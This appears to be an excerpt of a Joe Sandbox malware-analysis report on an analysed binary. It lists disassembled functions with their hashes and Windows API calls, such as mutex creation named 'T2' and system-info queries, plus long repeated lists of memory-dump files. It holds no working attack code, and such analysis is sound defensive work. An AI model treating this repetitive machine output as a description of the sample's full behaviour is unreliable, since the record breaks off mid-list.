Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 23a8ea464c33a70ce4b32eecd5c44fb19591c43781f0a473d61a142bba8839d0
Instruction ID: 51cf1c78ef5166a250f021ff69a6652297813516b2caf38cbe89fe97ce823bc9
Opcode Fuzzy Hash: 23a8ea464c33a70ce4b32eecd5c44fb19591c43781f0a473d61a142bba8839d0
Instruction Fuzzy Hash: C0217931604204DBEB18AB6CECC576DF766EBC2314F24471DE005972E0DBB6A981CA32

Function 00DAA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00DAA963
CreateMutexA.KERNEL32(00000000,00000000,00E03254), ref: 00DAA981

Strings

T2, xrefs: 00DAA970

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 5336414255450d25cc1dc93333194d9aac3699ab5514d8f2d07790b956621e21
Instruction ID: f8eb7bdddef04b04e2bfc9e72e504f509eea7649c507c0600c13e764e58b3349
Opcode Fuzzy Hash: 5336414255450d25cc1dc93333194d9aac3699ab5514d8f2d07790b956621e21
Instruction Fuzzy Hash: BC213630244205CEEB28A7BDCC8677DB652DF83700F280A1AE145962D1CB7E9985D173

Function 00DAA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00DAA963
CreateMutexA.KERNEL32(00000000,00000000,00E03254), ref: 00DAA981

Strings

T2, xrefs: 00DAA970

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 6cd90804eb26b05961d802b57181fce3e2de6fb29b6de5c33dc74a152a401197
Instruction ID: 71e9c0183df7ea13d45ff0c8e44276667d3ecde768a27ae5b8a28f94b2c20f14
Opcode Fuzzy Hash: 6cd90804eb26b05961d802b57181fce3e2de6fb29b6de5c33dc74a152a401197
Instruction Fuzzy Hash: F0217931600204DBEB18DBACDC857ADB766DFC2314F24471DE405972D0DBB6A9C4C672

Function 00DA7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00DA7ED3

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 447dc36c0e9d6f18c36a9a7c32309c78e0d5f3856508b69a2a01e5024a9cc3a0
Instruction ID: 6fe26e4701858a09ba55bbe500a525350ae411cc0496ddfab626c5875627eaaa
Opcode Fuzzy Hash: 447dc36c0e9d6f18c36a9a7c32309c78e0d5f3856508b69a2a01e5024a9cc3a0
Instruction Fuzzy Hash: 15E1E570E006449BDB14BB28DC5B39D7B61EB86720F94428CE8167B3C6DB354E8587F2

Function 00DDD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00DDA813,00000001,00000364,00000006,000000FF,?,00DDEE3F,?,00000004,00000000,?,?), ref: 00DDD870

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b288eff466d4a1bdd49673e3c54b7365fa7d81818b90cae2447b6badeee4f374
Instruction ID: 45e59269afffe0e45e28e717f40282a9155af0dc47a384f49ac664675033df2d
Opcode Fuzzy Hash: b288eff466d4a1bdd49673e3c54b7365fa7d81818b90cae2447b6badeee4f374
Instruction Fuzzy Hash: B7F0E232A0512476EF232A76AC01A5B7B9BDF85770B2D8023EC04A7391DA21DC00F6F0

Function 00DA87B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00DADA1D,?,?,?,?), ref: 00DA87B9

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
